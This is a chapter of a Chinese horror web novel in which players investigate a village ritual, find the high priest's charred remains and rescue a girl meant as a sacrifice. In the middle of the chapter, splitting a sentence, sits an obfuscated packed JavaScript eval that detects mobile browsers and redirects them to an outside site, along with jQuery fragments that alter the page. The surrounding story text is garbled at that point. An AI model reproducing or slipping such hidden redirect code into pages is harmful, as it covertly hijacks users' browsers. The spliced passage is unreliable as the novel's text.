27.雨夜

作品:《欢迎来到无限剧场

    于是,他采取了最后的仪式,设下阵法唤来招致灾厄的邪祟,让整个村子的人陷入地狱般的境地,所有人都身患重病,命丧黄泉。


    而在这一切事情发生过后,这也促使他最终遭受严重的反噬。


    房间内的黑雾愈发浓郁起来,仿佛要将一切生命都吞噬殆尽。


    大祭司静静地端坐在房间中央,衣衫随着冷风肆意摆动。


    他的话音就此而止,取而代之的是阵阵鬼哭狼嚎。


    玖玥像是察觉到什么,便逆着风走至他身旁,轻轻推了一下他的头冠。


    头冠当即从他身上脱落至地面,只见那层层衣装包裹之下,是一具黑焦的枯骨,冒着缕缕青烟。


    或许他早已身死只剩一具空壳,而在这房中留下的,是他最后的回响。


    “所以他已经死了?可任务似乎还没有结束。”林清然偏着头问道。


    “看来还有事情需要解决,比如,他似乎也没想到小荷会成为祭品。”玖玥杵着下颌,做思考状,“总感觉哪里怪怪的,你们遇到小荷的时候,难道她已经死过一次,是你做了什么吗?”


    “是啊,除了我还能有谁呢,我现在有种预感,她可能又遇到危险了。”林清然睨了一眼地上的枯骨,“这里应该也没什么好调查的了,不如,我们现在回去找小荷他们。”


    玖玥思索片刻,回道:“也好,我们离开这儿吧。”


    莫佚静静站在一旁,眉头微微蹙起,心中思绪万千。难不成,他真是什么被召唤来的邪祟吗?


    窗外淅淅沥沥下着小雨,似是暗夜的律动。


    牧边在一处仓库中幽幽转醒,之前被不知道是什么东西给迷晕,现在头脑还不太清醒。


    他躺在潮湿的杂草堆上,四周阴暗不明,墙壁上遍布霉菌,空气中弥漫着潮气。


    这时,他听到门外传来看守者的声音。


    “祭品已经准备好了,再过不久仪式就要开始了。”


    “里面的人好像不是这次的人选吧,而且为啥有两个人?”


    “不知道啊,管他呢,是谁不都一样。看守好无聊啊。”


    牧边缓缓坐起身,思索自己目前的处境,余光瞥到蹲坐在墙角的小荷,她缩在角落,双手抱着头,身体瑟瑟发抖。


    牧边眸光一转,想起初次见到小荷时的情景,心中已有了答案。


    所以,是什么人把他们给抓来的,估计是想拿他们当做祭品。


    既然如此,他也不会坐以待毙。


    只见他站到门前,抬起腿猛地踹向门,随着“轰”的一声,门被踹烂了,连带着两侧的墙壁也跟着坍塌。


    门外的看守者瞬间瞪大了眼睛,不等他们转过身来查看情况,就被牧边两个手刀劈晕。


    “这房子的质量还真是差。”


    他拍了拍身上的石屑,警惕地扫视着四周,随时准备应对可能出现的危险。周围并无人烟,他们处在相对偏僻的地方。


    牧边静下心来,听到远处隐约传来载歌载舞的声音,思虑片刻,他朝着那声音的来源走去。


    小荷目光触及残破的墙壁,震惊地跟着他走出仓库。


    两人一言不发地往前走,此处地势塌陷,地面上的积水逐渐没过脚面。


    这时,身后传来一阵阵践踏的水声,一个黑影直奔他们而来。


    那人从背后一把抓住小荷,将她挟持住。


    小荷下意识地想要呼喊,却被那个人用刀抵住脖颈,还低声在她耳边威胁道:“不许出声,否则对你不客气!”


    小荷脸上写满恐惧,大气都不敢喘一下,身体也止不住地颤抖。


    牧边听到身后的动静,转过身来就看到这样一幕。


    一个老太婆正在很卖力的捆小荷,面露一副恶毒的嘴脸,注意到牧边的视线转而瞪向他。“你个外乡人,最好不要多管闲事。”


    小荷战战兢兢地问道:“你……你要干什么?放开我……”


    牧边疑惑地看向她们:“你是什么人?从哪冒出来的?”


    那个人愤慨地说:“我的女儿死了,我也要他体会到失去女儿的痛苦。”而后似是陷入回忆。


    此人是村子里的王婆,早年间她的女儿不幸沦为祭神的祭品,自此她怀恨在心。后得知小荷其实是祭司的私生女,便心生歹念,将原本的祭品调换,势要让他也尝尝失去女儿的痛苦。


    多么荒谬的理由,可是小荷又做错了什么,要被如此对待,这对她来说简直是无妄之灾。


    牧边明白过来,“所以之前从背后偷袭我的人是你?”


    王婆笑道:“顺手的事。”接着她手中的刀就要划向小荷的脖子。


    牧边丢出去一块小石头,正好砸中王婆的手腕,刀从她的手中滑落。


    他缓缓走过去,“我这个人,也是有些记仇的。”


    树林的另一边,司逸安和肖恩还在寻找玖玥的路上,两人在一处破败的房屋下躲雨。


    肖恩抬头看向逐渐阴沉的天,“你有没有听到什么惨叫声?”


    司逸安回道:“没有啊,我只听到了风声雨声。”


    而后他故作苦恼地叹气,“找不到的人时候,是不是应该待在原地等待。”


    肖恩:“别想了,就算是那样,她也不会回来找我们的。”


    两人踏入这片荒芜的废墟,想顺便探索一番。


    房屋的外墙千疮百孔,墙皮大块剥落,露出里面黑乎乎的砖石,屋顶破了个大洞,却驱不散满室的阴霾。


    房屋内仿佛镀着一层黑色纱雾,破旧的家具七零八落,一张破木桌斜倒在地,旁边的椅子只剩三条腿,歪歪斜斜地靠着墙。


    司逸安抬手拂去桌上厚厚的灰尘,“这个房子看着有些年头。”


    陡然,他面色一滞,“我有种不好的预感。”


    肖恩不解地看着他。


    只见他偏过头,半玩笑地说:“这位道友,我看你印堂发黑,怕是有血光之灾。”


    “……”


    司逸安指向墙面上的一处,“你看这上面的字……”


    肖恩凑过来察看,“这些字是什么意思?”


    墙壁上刻着细思恐极的文字,让人不得不多想。


    “还不动手吗?”


    “现在是好机会啊。”


    “我可以帮你。”


    一阵阴风吹过,黑暗中隐约飘荡着苦痛地哀啼,勾着人向更深处探索。


    顺着墙上断断


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15054264|159912||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    续续的字迹,两人来到一处空旷的房间。


    刚推开门便是扑面而来的烟雾,再一看房间的中央,躺着一团不明物体。


    司逸安拿来一根长木棍,试探着拨动了一下,从中赫然显现出一颗焦黑的头骨。


    他随手丢掉木棍,手杵着下巴像是在思索什么,而后他掏出手机。


    肖恩问:“你在干什么?”


    “显而易见,打电话报警啊。”他举起电话放至耳边,而后满脸无可奈何地耸肩,“不通。”


    “……能通就怪了。”


    天空中的雨越下越大,噼里啪啦地打在水面上,仿佛在演奏一首激昂的交响曲。


    牧边来到一个宽阔的广场,他好奇地向四处张望。


    “等等我,大哥哥,我害怕……”身后的小荷哭哭啼啼地要扑向他,牧边一个闪身躲开没让她得逞。


    牧边不以为意地说:“你害怕跟我有什么关系。”


    “……”不能可怜一下可怜的小女孩吗。


    广场上聚集着许多人,欢声笑语此起彼伏,一群村民在雨中围成圈跳舞。


    雨下得如此之大,却不寻觅地方避雨,反而在此处跳舞。


    牧边收回视线,虽是对这番异常现象心存疑虑,却也无意过多理会。


    就在此时,雨幕里有两个人影朝着他所在的方向缓缓移来。


    司逸安对他打了个招呼,“小牧这是在做什么,雨中漫步吗?还带着个小孩。”


    “用不着你管。”见是认识的人,牧边收起几分警惕。


    “我们在找人,你有没有见过玖玥?”


    牧边回道:“之前是见到过,就是不知道现在去哪了。”


    他话音刚落,当事人便从他身后走来。


    玖玥步入他们的视线,脸上挂着笑意,“我好像听到我的名字,大家这是在聊什么呢?”


    司逸安有些意外的看向她,而后像是松了口气般回道:“我们一直在找你,看到你没事就好。”


    “我能有什么事,倒是你们,这么半天该不会什么素材都没找吧?”


    “怎么会,还是找了一些的。”


    玖玥也没打算指望他们,“我已经找的差不多了,现在应该就差最后的祭典。”她偏头看向那些跳舞的村民,“不如我们一起去那边看看。”


    夜幕如浓稠的汁液,唯有那团篝火在雨夜中熊熊燃烧,释放出诡异的青色光芒。


    一群村民围在篝火四周,跳着诡异的舞蹈。


    他们的动作僵硬而机械,每一个举手投足都充满不自然的顿挫感,关节像是生了锈,发出令人毛骨悚然的“嘎吱”声。


    每个人脸上都带着狰狞的笑容,空洞的双眼直勾勾地盯着跳动的火焰,眼神中毫无焦距,仿佛灵魂早已脱离躯壳。


    干裂的嘴唇微微张开,从喉咙深处发出尖锐刺耳的笑声,此起彼伏地在空气中回荡,像是从地狱深处爬出来的恶鬼发出。


    篝火的火苗肆意舞动,时而蹿起,时而低落,诡异的光影在村民身上来回跳跃,将他们的身影扭曲得奇形怪状。


    水面上投射出他们张牙舞爪的影子,就像一群来自深渊的怪物,正在举行一场神秘而恐怖的仪式。